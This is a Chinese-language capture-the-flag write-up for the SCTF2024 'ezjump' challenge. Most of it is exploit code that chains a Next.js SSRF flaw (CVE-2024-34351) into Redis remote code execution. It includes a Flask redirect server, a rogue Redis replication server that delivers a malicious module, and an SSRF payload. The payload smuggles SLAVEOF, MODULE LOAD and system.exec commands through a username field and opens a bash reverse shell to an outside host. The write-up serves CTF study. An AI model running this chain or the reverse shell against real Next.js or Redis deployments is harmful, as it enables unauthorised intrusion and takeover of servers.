SCTF2024赛后复现-ezjump

Just jump!

通过源码结构及flag文件位置,猜测是通过前端走私/SSRF到后端然后打redis的RCE

image-20241002161111322

通过依赖检查发现Next.js存在一个SSRF的洞,https://github.com/azu/nextjs-CVE-2024-34351,通过一个SSRF server和修改Host Origin头即可

image-20241002161324826

SSRF server:

from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        ssrfUrl = 'http://172.11.0.3:5000/'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

image-20241002164210894

在get_user时,会对redis发起 RESP 请求

image-20241002172512348

可以直接打主从复制rce,构造fake server

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break

if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

构造ssrf请求

from flask import Flask, request, Response, redirect
import urllib.parse

app = Flask(__name__)

@app.route('/play')
def exploit():
    # CORS preflight check
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    # after CORS preflight check
    elif request.method == 'GET':
        padding = "\r\n"
        inject = "$1\r\na\r\n"
        # 主从
        #inject += "SLAVEOF 1.1.1.1 21000\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
        # 执行命令
        inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/1.1.1.1/1338 0>&1\"'\r\n"
        padding += inject
        user = "admin"*len(padding)+padding
        ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
        return redirect(ssrfUrl)

if __name__ == '__main__':
    app.run(port=1337, host='0.0.0.0', debug=True)

image-20241002172739084

上一篇:01_SQLite